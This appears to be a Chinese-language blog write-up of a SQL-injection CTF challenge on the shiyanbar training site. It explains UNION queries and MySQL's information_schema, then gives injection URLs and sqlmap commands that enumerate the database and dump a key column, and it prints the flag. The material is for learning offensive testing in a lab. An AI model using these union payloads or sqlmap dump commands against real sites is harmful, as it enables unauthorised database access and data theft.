實驗吧ctf-web題:這個看起來有點簡單
從今天開始做實驗吧的CTF習題,爭取一天一道,一天一總結,做到不貪多,不糊弄,每天學習一點點,每天進步一點點。
今天做的是這個看起來有點簡單這個題,是一道SQL注入的題目。用了兩種方法,一種就是從url進行sql注入,一種是使用sqlmap工具。
預備知識
1. SQL中union的用法
union操作符用於合併兩個或多個SELECT語句的結果集
要求:union合併的SELECT語句的結果集,必須擁有相同數量的列,列也必須擁有相似的資料型別,同時,列的順序必須相同。
- SQL union語法
SELECT column_name(s) FROM table_name1
union
SELECT column_name(s) FROM table_name2
注意:預設地,union操作符選取不重複的值,如果允許重複,使用union all
- SQL union all 語法
SELECT column_name(s) FROM table_name1
union all
SELECT column_name(s) FROM table_name2
另外,union結果集中的列名總是等於union中第一個SELECT語句中的列名。
- 舉例
China表:
E_ID | E_Name |
---|---|
01 | Zhang, Hua |
02 | Wang, Wei |
03 | Carter, Thomas |
04 | Yang, Ming |
USA表:
E_ID | E_Name |
---|---|
01 | Adams, John |
02 | Bush, George |
03 | Carter, Thomas |
04 | Gates, Bill |
使用 UNION 命令,列出所有在中國和美國的不同的僱員名:
SELECT E_Name FROM China
UNION
SELECT E_Name FROM USA
結果
E_Name |
---|
Zhang, Hua |
Wang, Wei |
Carter, Thomas |
Yang, Ming |
Adams, John |
Bush, George |
Gates, Bill |
註釋:這個命令無法列出在中國和美國的所有僱員。在上面的例子中,我們有兩個名字相同的僱員,他們當中只有一個人被列出來了。UNION 命令只會選取不同的值。
使用 UNION ALL 命令,列出在中國和美國的所有的僱員:
SELECT E_Name FROM Employees_China
UNION ALL
SELECT E_Name FROM Employees_USA
結果
E_Name |
---|
Zhang, Hua |
Wang, Wei |
Carter, Thomas |
Yang, Ming |
Adams, John |
Bush, George |
Carter, Thomas |
Gates, Bill |
2. MySql中information_schema是什麼
安裝完MySql之後,會有一個information_schema資料庫,是MySql自帶的,不能刪除,他提供了訪問資料庫元資料的方式,所謂元資料,就是關於資料的資料,如資料庫名,表名,列名,訪問許可權等。
在MySQL中,把 information_schema 看作是一個數據庫,確切說是資訊資料庫。其中儲存著關於MySQL伺服器所維護的所有其他資料庫的資訊。如資料庫名,資料庫的表,表欄的資料型別與訪問權 限等。在INFORMATION_SCHEMA中,有數個只讀表。它們實際上是檢視,而不是基本表,因此,你將無法看到與之相關的任何檔案。
information_schema資料庫表說明:
information_schema中的表 | 意義 |
---|---|
SCHEMATA表 | 提供了當前mysql例項中所有資料庫的資訊。是show databases的結果取之此表。 |
TABLES表 | 提供了關於資料庫中的表的資訊(包括檢視)。詳細表述了某個表屬於哪個schema,表型別,表引擎,建立時間等資訊。是show tables from schemaname的結果取之此表。 |
COLUMNS表 | 提供了表中的列資訊。詳細表述了某張表的所有列以及每個列的資訊。是show columns from schemaname.tablename的結果取之此表。 |
STATISTICS表 | 提供了關於表索引的資訊。是show index from schemaname.tablename的結果取之此表。 |
USER_PRIVILEGES(使用者許可權)表 | 給出了關於全程許可權的資訊。該資訊源自mysql.user授權表。是非標準表。 |
SCHEMA_PRIVILEGES(方案許可權)表 | 給出了關於方案(資料庫)許可權的資訊。該資訊來自mysql.db授權表。是非標準表。 |
TABLE_PRIVILEGES(表許可權)表 | 給出了關於表許可權的資訊。該資訊源自mysql.tables_priv授權表。是非標準表。 |
COLUMN_PRIVILEGES(列許可權)表 | 給出了關於列許可權的資訊。該資訊源自mysql.columns_priv授權表。是非標準表。 |
CHARACTER_SETS(字符集)表 | 提供了mysql例項可用字符集的資訊。是SHOW CHARACTER SET結果集取之此表。 |
COLLATIONS表 | 提供了關於各字符集的對照資訊。 |
COLLATION_CHARACTER_SET_APPLICABILITY表 | 指明瞭可用於校對的字符集。這些列等效於SHOW COLLATION的前兩個顯示欄位。 |
TABLE_CONSTRAINTS表 | 描述了存在約束的表。以及表的約束型別。 |
KEY_COLUMN_USAGE表 | 描述了具有約束的鍵列。 |
ROUTINES表 | 提供了關於儲存子程式(儲存程式和函式)的資訊。此時,ROUTINES表不包含自定義函式(UDF)。名為“mysql.proc name”的列指明瞭對應於INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。 |
VIEWS表 | 給出了關於資料庫中的檢視的資訊。需要有show views許可權,否則無法檢視檢視資訊。 |
TRIGGERS表 | 提供了關於觸發程式的資訊。必須有super許可權才能檢視該表 |
方法一:在Url中進行sql注入
這道題目的url為:http://ctf5.shiyanbar.com/8/index.php?id=1
由id=1判斷可能存在sql注入,嘗試測試是否存在sql注入:
在url後新增:一個單引號
即:http://ctf5.shiyanbar.com/8/index.php?id=1'
結果顯示為mysql資料庫
在url後新增:and 1=1
即:http://ctf5.shiyanbar.com/8/index.php?id=1%20and%201=1
結果正常返回,因此存在sql注入
使用union,先獲取資料庫名
url:
http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,SCHEMA_NAME from information_schema.SCHEMATA
可以看到資料庫名為:my_db
- 使用union,獲取表名
url
http://ctf5.shiyanbar.com/8/index.php?id=1 union select TABLE_SCHEMA,TABLE_NAME FROM information_schema.TABLES
可以看到,表名為thiskey
- 使用union,獲取列名
url
http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%20TABLE_NAME,COLUMN_NAME%20FROM%20information_schema.COLUMNS
可以看到,列名為k0y
- 獲取flag
url
http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,k0y%20from%20thiskey
可以看到key:whatiMyD91dump
方法二:使用sqlmap工具
使用工具就很簡單了
- 檢視當前資料庫名
sqlmap -u 'http://ctf5.shiyanbar.com/8/index.php?id=1' --current-db
- 查看錶名
sqlmap -u 'http://ctf5.shiyanbar.com/8/index.php?id=1' -D my_db -tables
- 檢視列名
sqlmap -u 'http://ctf5.shiyanbar.com/8/index.php?id=1' -D my_db -T thiskey --columns
- dump資料
sqlmap -u 'http://ctf5.shiyanbar.com/8/index.php?id=1' -D my_db -T thiskey -C k0y --dump
兩種方法總結完畢,對sql注入只是特別特別淺的認識,要好好研究一下,然後學習學習sqlmap工具的使用!